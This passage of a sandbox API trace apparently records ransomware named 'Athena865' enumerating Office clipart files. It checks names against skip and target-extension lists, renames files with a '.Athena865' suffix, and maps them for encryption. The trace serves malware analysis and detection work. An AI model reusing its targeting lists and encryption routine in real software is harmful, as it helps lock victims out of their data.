[0128.365] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0128.365] lstrlenW (lpString="mar") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0128.365] lstrlenW (lpString="marshal") returned 7 [0128.365] lstrcmpiW (lpString1="262.WMF", lpString2="marshal") returned -1 [0128.365] lstrlenW (lpString="mas") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0128.365] lstrlenW (lpString="mav") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0128.365] lstrlenW (lpString="maw") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0128.365] lstrlenW (lpString="mdbhtml") returned 7 [0128.365] lstrcmpiW (lpString1="262.WMF", lpString2="mdbhtml") returned -1 [0128.365] lstrlenW (lpString="mdn") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0128.365] lstrlenW (lpString="mdt") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0128.365] lstrlenW (lpString="mfd") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.365] lstrlenW (lpString="mpd") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.365] lstrlenW (lpString="mrg") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.366] lstrlenW (lpString="mud") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.366] lstrlenW (lpString="mwb") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.366] lstrlenW (lpString="myd") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.366] lstrlenW (lpString="ndf") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.366] lstrlenW (lpString="nnt") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.366] lstrlenW (lpString="nrmlib") returned 6 [0128.366] lstrcmpiW (lpString1="62.WMF", lpString2="nrmlib") returned -1 [0128.366] lstrlenW (lpString="ns2") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.366] lstrlenW (lpString="ns3") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.366] lstrlenW (lpString="ns4") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.366] lstrlenW (lpString="nsf") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.366] lstrlenW (lpString="nv") returned 2 [0128.366] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.366] lstrlenW (lpString="nv2") returned 3 [0128.366] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.366] lstrlenW (lpString="nwdb") returned 4 [0128.366] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.366] lstrlenW (lpString="nyf") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.367] lstrlenW (lpString="odb") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.367] lstrlenW (lpString="odb") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.367] lstrlenW (lpString="oqy") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.367] lstrlenW (lpString="ora") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.367] lstrlenW (lpString="orx") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.367] lstrlenW (lpString="owc") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.367] lstrlenW (lpString="p96") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.367] lstrlenW (lpString="p97") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.367] lstrlenW (lpString="pan") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.367] lstrlenW (lpString="pdb") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.367] lstrlenW (lpString="pdm") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.367] lstrlenW (lpString="pnz") returned 3 [0128.367] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.367] lstrlenW (lpString="qry") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.368] lstrlenW (lpString="qvd") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.368] lstrlenW (lpString="rbf") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.368] lstrlenW (lpString="rctd") returned 4 [0128.368] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.368] lstrlenW (lpString="rod") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.368] lstrlenW (lpString="rodx") returned 4 [0128.368] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.368] lstrlenW (lpString="rpd") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.368] lstrlenW (lpString="rsd") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.368] lstrlenW (lpString="sas7bdat") returned 8 [0128.368] lstrcmpiW (lpString1="7262.WMF", lpString2="sas7bdat") returned -1 [0128.368] lstrlenW (lpString="sbf") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.368] lstrlenW (lpString="scx") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.368] lstrlenW (lpString="sdb") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.368] lstrlenW (lpString="sdc") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.368] lstrlenW (lpString="sdf") returned 3 [0128.368] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.369] lstrlenW (lpString="sis") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.369] lstrlenW (lpString="spq") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.369] lstrlenW (lpString="te") returned 2 [0128.369] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.369] lstrlenW (lpString="teacher") returned 7 [0128.369] lstrcmpiW (lpString1="262.WMF", lpString2="teacher") returned -1 [0128.369] lstrlenW (lpString="tmd") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.369] lstrlenW (lpString="tps") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.369] lstrlenW (lpString="trc") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.369] lstrlenW (lpString="trc") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.369] lstrlenW (lpString="trm") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.369] lstrlenW (lpString="udb") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.369] lstrlenW (lpString="udl") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.369] lstrlenW (lpString="usr") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.369] lstrlenW (lpString="v12") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.369] lstrlenW (lpString="vis") returned 3 [0128.369] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.370] lstrlenW (lpString="vpd") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.370] lstrlenW (lpString="vvv") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.370] lstrlenW (lpString="wdb") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.370] lstrlenW (lpString="wmdb") returned 4 [0128.370] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.370] lstrlenW (lpString="wrk") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.370] lstrlenW (lpString="xdb") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.370] lstrlenW (lpString="xld") returned 3 [0128.370] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.370] lstrlenW (lpString="xmlff") returned 5 [0128.370] lstrcmpiW (lpString1="2.WMF", lpString2="xmlff") returned -1 [0128.370] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.Athena865") returned 73 [0128.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.athena865"), dwFlags=0x1) returned 1 [0128.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.372] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5252) returned 1 [0128.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.372] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.373] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.373] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.373] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1790, lpName=0x0) returned 0x154 [0128.376] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1790) returned 0x100000 [0128.377] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.377] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.377] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.378] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.378] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.379] CloseHandle (hObject=0x154) returned 1 [0128.379] CloseHandle (hObject=0x17c) returned 1 [0128.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.379] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2=".") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="..") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="windows") returned -1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="bootmgr") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="temp") returned -1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="pagefile.sys") returned -1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="boot") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ids.txt") returned 1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="ntuser.dat") returned -1 [0128.379] lstrcmpiW (lpString1="J0217302.WMF", lpString2="perflogs") returned -1 [0128.380] lstrcmpiW (lpString1="J0217302.WMF", lpString2="MSBuild") returned -1 [0128.380] lstrlenW (lpString="J0217302.WMF") returned 12 [0128.380] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0217302.WMF" | out: lpString1="J0217302.WMF") returned="J0217302.WMF" [0128.380] lstrlenW (lpString="J0217302.WMF") returned 12 [0128.380] lstrlenW (lpString="Athena865") returned 9 [0128.380] lstrcmpiW (lpString1="17302.WMF", lpString2="Athena865") returned -1 [0128.380] lstrlenW (lpString=".dll") returned 4 [0128.380] lstrcmpiW (lpString1="J0217302.WMF", lpString2=".dll") returned 1 [0128.380] lstrlenW (lpString=".lnk") returned 4 [0128.380] lstrcmpiW (lpString1="J0217302.WMF", lpString2=".lnk") returned 1 [0128.380] lstrlenW (lpString=".ini") returned 4 [0128.380] lstrcmpiW (lpString1="J0217302.WMF", lpString2=".ini") returned 1 [0128.380] lstrlenW (lpString=".sys") returned 4 [0128.380] lstrcmpiW (lpString1="J0217302.WMF", lpString2=".sys") returned 1 [0128.380] lstrlenW (lpString="J0217302.WMF") returned 12 [0128.380] lstrlenW (lpString="bak") returned 3 [0128.380] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.380] lstrlenW (lpString="ba_") returned 3 [0128.380] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.380] lstrlenW (lpString="dbb") returned 3 [0128.380] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.380] lstrlenW (lpString="vmdk") returned 4 [0128.380] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.380] lstrlenW (lpString="rar") returned 3 [0128.380] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.380] lstrlenW (lpString="zip") returned 3 [0128.380] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.380] lstrlenW (lpString="tgz") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.381] lstrlenW (lpString="vbox") returned 4 [0128.381] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.381] lstrlenW (lpString="vdi") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.381] lstrlenW (lpString="vhd") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.381] lstrlenW (lpString="vhdx") returned 4 [0128.381] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.381] lstrlenW (lpString="avhd") returned 4 [0128.381] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.381] lstrlenW (lpString="db") returned 2 [0128.381] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.381] lstrlenW (lpString="db2") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.381] lstrlenW (lpString="db3") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.381] lstrlenW (lpString="dbf") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.381] lstrlenW (lpString="mdf") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.381] lstrlenW (lpString="mdb") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.381] lstrlenW (lpString="sql") returned 3 [0128.381] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.381] lstrlenW (lpString="sqlite") returned 6 [0128.381] lstrcmpiW (lpString1="02.WMF", lpString2="sqlite") returned -1 [0128.381] lstrlenW (lpString="sqlite3") returned 7 [0128.382] lstrcmpiW (lpString1="302.WMF", lpString2="sqlite3") returned -1 [0128.382] lstrlenW (lpString="sqlitedb") returned 8 [0128.382] lstrcmpiW (lpString1="7302.WMF", lpString2="sqlitedb") returned -1 [0128.382] lstrlenW (lpString="xml") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.382] lstrlenW (lpString="$er") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.382] lstrlenW (lpString="4dd") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.382] lstrlenW (lpString="4dl") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.382] lstrlenW (lpString="^^^") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.382] lstrlenW (lpString="abs") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.382] lstrlenW (lpString="abx") returned 3 [0128.382] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.382] lstrlenW (lpString="accdb") returned 5 [0128.382] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0128.382] lstrlenW (lpString="accdc") returned 5 [0128.382] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0128.382] lstrlenW (lpString="accde") returned 5 [0128.382] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0128.382] lstrlenW (lpString="accdr") returned 5 [0128.382] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0128.382] lstrlenW (lpString="accdt") returned 5 [0128.382] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0128.382] lstrlenW (lpString="accdw") returned 5 [0128.383] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0128.383] lstrlenW (lpString="accft") returned 5 [0128.383] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0128.383] lstrlenW (lpString="adb") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.383] lstrlenW (lpString="adb") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.383] lstrlenW (lpString="ade") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.383] lstrlenW (lpString="adf") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.383] lstrlenW (lpString="adn") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.383] lstrlenW (lpString="adp") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.383] lstrlenW (lpString="alf") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.383] lstrlenW (lpString="ask") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.383] lstrlenW (lpString="btr") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.383] lstrlenW (lpString="cat") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.383] lstrlenW (lpString="cdb") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.383] lstrlenW (lpString="ckp") returned 3 [0128.383] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.383] lstrlenW (lpString="cma") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.384] lstrlenW (lpString="cpd") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.384] lstrlenW (lpString="dacpac") returned 6 [0128.384] lstrcmpiW (lpString1="02.WMF", lpString2="dacpac") returned -1 [0128.384] lstrlenW (lpString="dad") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.384] lstrlenW (lpString="dadiagrams") returned 10 [0128.384] lstrcmpiW (lpString1="217302.WMF", lpString2="dadiagrams") returned -1 [0128.384] lstrlenW (lpString="daschema") returned 8 [0128.384] lstrcmpiW (lpString1="7302.WMF", lpString2="daschema") returned -1 [0128.384] lstrlenW (lpString="db-journal") returned 10 [0128.384] lstrcmpiW (lpString1="217302.WMF", lpString2="db-journal") returned -1 [0128.384] lstrlenW (lpString="db-shm") returned 6 [0128.384] lstrcmpiW (lpString1="02.WMF", lpString2="db-shm") returned -1 [0128.384] lstrlenW (lpString="db-wal") returned 6 [0128.384] lstrcmpiW (lpString1="02.WMF", lpString2="db-wal") returned -1 [0128.384] lstrlenW (lpString="dbc") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.384] lstrlenW (lpString="dbs") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.384] lstrlenW (lpString="dbt") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.384] lstrlenW (lpString="dbv") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.384] lstrlenW (lpString="dbx") returned 3 [0128.384] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.384] lstrlenW (lpString="dcb") returned 3 [0128.385] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.385] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.385] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.Athena865") returned 73 [0128.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.athena865"), dwFlags=0x1) returned 1 [0128.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.386] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3482) returned 1 [0128.386] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.387] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.387] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.387] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.388] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10a0, lpName=0x0) returned 0x154 [0128.390] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a0) returned 0x100000 [0128.394] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.396] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.397] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.398] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.399] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.399] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.399] CloseHandle (hObject=0x154) returned 1 [0128.403] CloseHandle (hObject=0x17c) returned 1 [0128.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.404] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 